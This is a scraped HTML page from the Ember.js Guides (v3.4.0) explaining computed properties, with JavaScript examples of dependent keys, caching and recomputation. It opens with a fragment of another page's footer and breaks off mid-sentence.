4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Computed Properties - The Object Model - Ember Guides</title> <meta name="description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Computed Properties - The Object Model - Ember Guides"> <!----> <meta property="og:description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Computed Properties - The Object Model - Ember Guides"> <!----> <meta name="twitter:description" content="What are Computed Properties? In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember368414" class="es-header ember-view" role="banner"><div id="ember368415" class="ember-view"><div class="container"> <nav id="ember368416" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember368417" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember368418" class="navbar-collapse collapse ember-view"><ul id="ember368419" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember368420" class="dropdown nav-item ember-view"> <a href="#" id="ember368421" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember368423" class="dropdown nav-item ember-view"> <a href="#" id="ember368424" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember368426" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember368427" class="dropdown nav-item ember-view"> <a href="#" id="ember368428" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember368430" class="dropdown nav-item ember-view"> <a href="#" id="ember368431" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember368433" class="nav navbar-nav ember-view"> <form> <div id="ember368434" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember368435" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember368436" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember368437" class="ember-basic-dropdown ember-view"> <div aria-label="v3.4.0" aria-owns="ember-basic-dropdown-content-ember368437" tabindex="0" data-ebd-id="ember368437-trigger" role="button" id="ember368438" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 3.4 (LTS) </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember368437" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember368442" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember368445" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/getting-started" id="ember368446" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember368447" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368449" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/tutorial" id="ember368450" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember368451" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368453" class="cp-Panel cp-is-open ember-view"><a href="/v3.4.0/object-model" id="ember368454" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember368455" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember368456" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/index" id="ember368458" class="ember-view"> Objects in Ember </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/classes-and-instances" id="ember368460" class="ember-view"> Classes and Instances </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/reopening-classes-and-instances" id="ember368462" class="ember-view"> Reopening Classes and Instances </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v3.4.0/object-model/computed-properties" id="ember368464" class="selected ember-view"> Computed Properties </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/computed-properties-and-aggregate-data" id="ember368466" class="ember-view"> Computed Properties and Aggregate Data </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/observers" id="ember368468" class="ember-view"> Observers </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/bindings" id="ember368470" class="ember-view"> Bindings </a> </li> <li class="toc-link toc-level-1 "> <a href="/v3.4.0/object-model/enumerables" id="ember368472" class="ember-view"> Enumerables </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368474" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/routing" id="ember368475" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember368476" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368478" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/templates" id="ember368479" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember368480" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368482" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/components" id="ember368483" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember368484" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368486" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/controllers" id="ember368487" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember368488" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368490" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/models" id="ember368491" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember368492" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368494" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/applications" id="ember368495" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember368496" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368498" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/testing" id="ember368499" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember368500" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368502" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/ember-inspector" id="ember368503" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember368504" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368506" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/addons-and-dependencies" id="ember368507" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember368508" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368510" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/configuring-ember" id="ember368511" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember368512" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368514" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/contributing" id="ember368515" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember368516" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember368518" class="cp-Panel cp-is-closed ember-view"><a href="/v3.4.0/glossary" id="ember368519" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember368520" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember368521" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v3.4.0. <a href="/release/object-model/computed-properties" id="ember368522" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v3.4.0/object-model/computed-properties.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Computed Properties </h1> <hr> <div id="ember368523" class="ember-view"><h2 id="toc_what-are-computed-properties">What are Computed Properties?</h2> <section aria-labelledby="toc_what-are-computed-properties"> <p>In a nutshell, computed properties let you declare functions as properties. You create one by defining a computed property as a function, which Ember will automatically call when you ask for the property. You can then use it the same way you would any normal, static property.</p> <p>It's super handy for taking one or more normal properties and transforming or manipulating their data to create a new value.</p> </section> <h3 id="toc_computed-properties-in-action">Computed properties in action</h3> <section aria-labelledby="toc_computed-properties-in-action"> <p>We'll start with a simple example. We have a <code>Person</code> object with <code>firstName</code> and <code>lastName</code> properties, but we also want a <code>fullName</code> property that joins the two names when either of them changes:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; Person = EmberObject.extend({ // these will be supplied by `create` firstName: null, lastName: null, fullName: computed('firstName', 'lastName', function() { return `${this.firstName} ${this.lastName}`; }) }); let ironMan = Person.create({ firstName: 'Tony', lastName: 'Stark' }); ironMan.fullName; // "Tony Stark" </code></pre> <p>This declares <code>fullName</code> to be a computed property, with <code>firstName</code> and <code>lastName</code> as the properties it depends on. The first time you access the <code>fullName</code> property, the function will be called and the results will be cached. Subsequent access of <code>fullName</code> will read from the cache without calling the function. Changing any of the dependent properties causes the cache to invalidate, so that the computed function runs again on the next access.</p> </section> <h3 id="toc_computed-properties-only-recompute-when-they-are-consumed">Computed properties only recompute when they are consumed</h3> <section aria-labelledby="toc_computed-properties-only-recompute-when-they-are-consumed"> <p>A computed property will only recompute its value when it is <em>consumed.</em> Properties are consumed in two ways:</p> <ol> <li>By being accessed, for example <code>ironMan.fullName</code></li> <li>By being referenced in a handlebars template that is currently being rendered, for example <code>{{ironMan.fullName}}</code></li> </ol> <p>Outside of those two circumstances the code in the property will not run, even if one of the property's dependencies are changed.</p> <p>We'll modify the <code>fullName</code> property from the previous example to log to the console:</p> <pre><code class="javascript language-javascript">import Ember from 'ember'; … fullName: computed('firstName', 'lastName', function() { console.log('compute fullName'); // track when the property recomputes return `${this.firstName} ${this.lastName}`; }) … </code></pre> <p>Using the new property, it will only log after a <code>fullName</code> is accessed, and then only if either the <code>firstName</code> or <code>lastName</code> has been previously changed:</p> <pre><code class="javascript language-javascript">let ironMan = Person.create({ firstName: 'Tony', lastName: 'Stark' }); ironMan.fullName; // 'compute fullName' ironMan.set('firstName', 'Bruce') // no console output ironMan.fullName; // 'compute fullName' ironMan.fullName; // no console output since dependencies have not changed </code></pre> </section> <h3 id="toc_multiple-dependents-on-the-same-object">Multiple dependents on the same object</h3> <section aria-labelledby="toc_multiple-dependents-on-the-same-object"> <p>In the previous example, the <code>fullName</code> computed property depends on two other properties of the same object. However, you may find that you have to observe the properties of a different object.</p> <p>For example, look at this computed property:</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location.streetName', 'location.streetNumber', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); home.address // 742 Evergreen Terrace home.set('location.streetNumber', 744) home.address // 744 Evergreen Terrace </code></pre> <p>It is important to observe an object's properties, not the object itself that has properties nested inside. If the object reference <code>location</code> is used as a dependent key, the computed property will not recalculate when the <code>streetName</code> or <code>streetNumber</code> properties change.</p> <pre><code class="javascript language-javascript">import EmberObject, { computed } from '@ember/object'; let home = EmberObject.extend({ location: { streetName: 'Evergreen Terrace', streetNumber: 742 }, address: computed('location', function() { return `${this.location.streetNumber} ${this.location.streetName}`; }) }); home.address // 742 Evergreen Terrace home.set('location.streetNumber', 744) home.address // 742 Evergreen Terrace home.set('location', { streetName: 'Evergreen Terrace', streetNumber: 744 }) home.address // 744 Evergreen Terrace </code></pre> <p>Since both <code>streetName</code> and <code>streetNumber</code> are properties on the <code>location</code> object, we can use a short-hand 